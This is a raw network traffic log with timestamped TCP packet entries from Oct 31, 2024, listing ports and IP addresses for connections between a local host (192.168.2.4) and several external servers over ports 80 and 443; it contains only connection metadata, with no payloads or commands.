Oct 31, 2024 23:38:16.032047033 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032053947 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032063007 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032063961 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032079935 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032085896 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032095909 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032098055 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032110929 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032114029 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032135963 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032135963 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032151937 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.032151937 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:16.032183886 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.034915924 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.092372894 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:16.431150913 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:16.431169033 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:16.431252956 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:16.431514025 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:16.431526899 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.057446957 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.057533026 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.058717966 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.058722973 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.058957100 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.067409039 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.067557096 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.067589998 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.067646980 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.067655087 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.703644037 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.703721046 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.703896999 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.704066038 CET	49852	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.704076052 CET	443	49852	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.891299963 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.891329050 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:17.891407013 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.891700983 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:17.891710997 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:18.406724930 CET	49829	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:18.407018900 CET	49864	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:18.412071943 CET	80	49864	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:18.412115097 CET	80	49829	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:18.412158012 CET	49864	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:18.412189007 CET	49829	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:18.445511103 CET	49864	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:18.450526953 CET	80	49864	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:18.532614946 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:18.532679081 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:18.545686007 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:18.545697927 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:18.546020985 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:18.547554016 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:18.547683954 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:18.547718048 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:18.883830070 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:18.883965015 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:18.884159088 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:18.952862024 CET	49862	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:18.952891111 CET	443	49862	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:19.320550919 CET	80	49864	185.215.113.43	192.168.2.4
Oct 31, 2024 23:38:19.320607901 CET	49864	80	192.168.2.4	185.215.113.43
Oct 31, 2024 23:38:19.357927084 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:19.358196020 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:19.363183975 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:19.363245010 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:19.363306999 CET	80	49837	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:19.363353014 CET	49837	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:19.364423037 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:19.369303942 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:19.807089090 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:19.812097073 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:19.812163115 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:19.812272072 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:19.817357063 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:19.860203981 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:19.860215902 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:19.860270977 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:19.860748053 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:19.860760927 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:20.270030022 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270049095 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270065069 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270087004 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.270113945 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.270179987 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270195007 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270210028 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270250082 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.270262957 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.270350933 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270365953 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270380974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270407915 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.270437956 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.270489931 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.270921946 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.275136948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.275188923 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.275249958 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.275295019 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427109957 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427158117 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427174091 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427184105 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427200079 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427201033 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427217960 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427225113 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427233934 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427234888 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427256107 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427278042 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427515030 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427530050 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427546024 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427571058 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427608967 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427659035 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427675009 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427690029 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.427742958 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.427772045 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.428503036 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.428518057 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.428534031 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.428711891 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.428814888 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.428831100 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.428845882 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.428872108 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.428903103 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.429532051 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.429606915 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.429621935 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.429657936 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.429668903 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.429758072 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.431061983 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.432204962 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.432255983 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.481055021 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:20.481132984 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:20.482110977 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:20.482120037 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:20.482443094 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:20.483457088 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:20.483572960 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:20.483609915 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:20.483679056 CET	49877	443	192.168.2.4	188.114.97.3
Oct 31, 2024 23:38:20.483689070 CET	443	49877	188.114.97.3	192.168.2.4
Oct 31, 2024 23:38:20.884874105 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.884927034 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.884943008 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.884948969 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.884958982 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.884974957 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.884984016 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.884989977 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885008097 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885052919 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885061026 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885077000 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885077953 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885092974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885109901 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885118961 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885124922 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885142088 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885143995 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885159016 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885171890 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885174990 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885194063 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885205030 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885219097 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885226965 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885235071 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885250092 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885256052 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885272980 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885288000 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885289907 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885305882 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885305882 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885315895 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885323048 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885350943 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885355949 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885366917 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885370970 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885401011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885409117 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885417938 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885432005 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885437965 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885441065 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885457039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885462999 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885473013 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885477066 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885488987 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885495901 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885505915 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885516882 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885521889 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885540009 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885555029 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885572910 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885572910 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885572910 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885581970 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885581970 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885603905 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885617018 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885618925 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885632992 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885652065 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885657072 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885673046 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885678053 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885689974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885695934 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885705948 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885727882 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.885950089 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885967016 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885982037 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.885997057 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.886003971 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.886019945 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.886043072 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.886955023 CET	80	49876	185.215.113.206	192.168.2.4
Oct 31, 2024 23:38:20.887011051 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:20.887279034 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.887331963 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.890188932 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.890204906 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.890219927 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.890264034 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.890290022 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.890410900 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.890537024 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891201973 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891247034 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891405106 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891419888 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891436100 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891443968 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891450882 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891459942 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891472101 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891483068 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891499043 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891499996 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891515017 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891530037 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891532898 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891546011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891571045 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891573906 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891581059 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891586065 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891602039 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891616106 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891618013 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891625881 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891639948 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891653061 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891657114 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891680956 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891700983 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891773939 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891788960 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891803026 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891809940 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891819000 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891825914 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891834974 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891849995 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.891851902 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891856909 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891875982 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.891899109 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892424107 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892489910 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892544985 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892560959 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892569065 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892584085 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892591000 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892601013 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892616034 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892617941 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892638922 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892640114 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892657042 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892659903 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892672062 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892680883 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892689943 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892693996 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.892704010 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.892725945 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893088102 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893110037 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893126011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893151045 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893186092 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893217087 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893234015 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893249035 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893249035 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893271923 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893286943 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893292904 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893292904 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893302917 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893305063 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893317938 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893327951 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893337011 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.893356085 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.893376112 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.894006968 CET	49876	80	192.168.2.4	185.215.113.206
Oct 31, 2024 23:38:20.894040108 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894061089 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894078016 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894100904 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.894100904 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894118071 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894124985 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.894133091 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894155025 CET	49870	80	192.168.2.4	185.215.113.16
Oct 31, 2024 23:38:20.894156933 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894174099 CET	80	49870	185.215.113.16	192.168.2.4
Oct 31, 2024 23:38:20.894181013 CET	49870	80	192.168.2.4	185.215.113.16
